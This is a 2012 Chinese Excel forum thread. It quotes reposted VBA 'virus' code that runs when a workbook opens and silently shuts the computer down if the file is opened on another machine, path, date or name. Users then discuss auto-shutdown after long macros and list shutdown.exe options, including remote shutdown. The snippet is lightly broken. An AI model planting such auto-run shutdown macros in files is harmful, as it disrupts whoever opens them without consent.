病毒代码欣赏-----------如何修改加以利用？

引子玄

Private Sub Workbook_Open()                               '这段代码放在ThisWorkbook模块中
If Date > #4/8/2012# Then Call 关机                                                    '如果超过2012年4月8日打开文件就关机
If ThisWorkbook.Path <> "D:\财务账目\ " Then Call关机                  '如果文件不在特定的地方打开就关机
If Environ("ComputerName") <> "PC-201012291848" Then Call 关机 '如果不在特定计算机打开文件就关机
If ThisWorkbook.Name <> "2月份财务报表.xls" Then Call 关机        '修改文件名称后打开文件就关机
End If
End Sub                       
Sub 关机()                                                             '这部分代码应放在标准模块中，也可和上面那段放在一起。
On Error Resume Next
Dim WSHshellA
Set WSHshellA = CreateObject("wscript.shell")
WSHshellA.Run "cmd.exe /c shutdown -s -t 60 -c ""盗窃文件可耻！"" ", 0, True
End Sub      

引子玄

注：该代码系转贴

我们能不能变废为宝？比如夜里要去睡觉了，但EXCEL却在自动化运行中，能不能写成：当EXCEL工作簿工作结束后，自动关机呢，好让我们提前去休息。

引子玄

我们能不能变废为宝？比如夜里要去睡觉了，但EXCEL却在自动化运行中（当遇到海量数据处理时，可能需要20多分钟），能不能写成：当EXCEL工作簿工作结束后，自动关机呢，好让我们提前去休息。

arttk

你可以在你的事件后，加上关机命令呀。
如：在循环完成的后面加上关机命令。
是不是可以实现你要的效果？

记得关机命令前，一定要有保存命令，要不然白做了。

cxh2010

好的想法，帮你顶一下

maditate

Windows没有自动关机设置吗？当你执行完任务，电脑停止工作多长时间就自动关机这项设置你不会？

yxy博

故弄玄虚，这也能算病毒的话，病毒就没什么可怕了。

引子玄

maditate 发表于 2012-6-17 19:07
Windows没有自动关机设置吗？当你执行完任务，电脑停止工作多长时间就自动关机这项设置你不会？

多谢,学了一招

WINDOWS系统的自动关机设置

  Windows XP的关机是由Shutdown.exe程序来控制的，位于Windows＼System32文件夹中
。如果想让Windows 2000也实现同样的效果，可以把Shutdown.exe复制到系统目录下。

  比如你的电脑要在22:00关机，可以选择“开始→运行”，输入“at 22:00 Shutdown -s”，这样，到了22点电脑就会出现“系统关机”对话框，默认有30秒钟的倒计时并提示你保存工作。如果你想以倒计时的方式关机，可以输入“Shutdown.exe -s -t 3600”，这里表示60分钟后自动关机，“3600”代表60分钟。 (3600代表时间"秒")

   设置好自动关机后，如果想取消的话，可以在运行中输入“shutdown -a”。另外输入“shutdown -i”，则可以打开设置自动关机对话框，对自动关机进行设置。

  Shutdown.exe的参数，每个都具有特定的用途，执行每一个都会产生不同的效果，比如“-s”就表示关闭本地计算机，“-a”表示取消关机操作，下面列出了更多参数，大家可以在Shutdown.exe中按需使用。

  -f：强行关闭应用程序

  -m \\计算机名：控制远程计算机

  -i：显示图形用户界面，但必须是Shutdown的第一个选项

  -l：注销当前用户

  -r：关机并重启

  -t时间：设置关机倒计时

  -c "消息内容"：输入关机对话框中的消息内容(不能超127个字符)

alvinyb

AVEL 发表于 2012-6-25 20:44
假如有人真的盗窃了文件，只要他不启用宏， 这些代码不都无效了么。

是的啊，我也这么想呢。

AVEL

假如有人真的盗窃了文件，只要他不启用宏， 这些代码不都无效了么。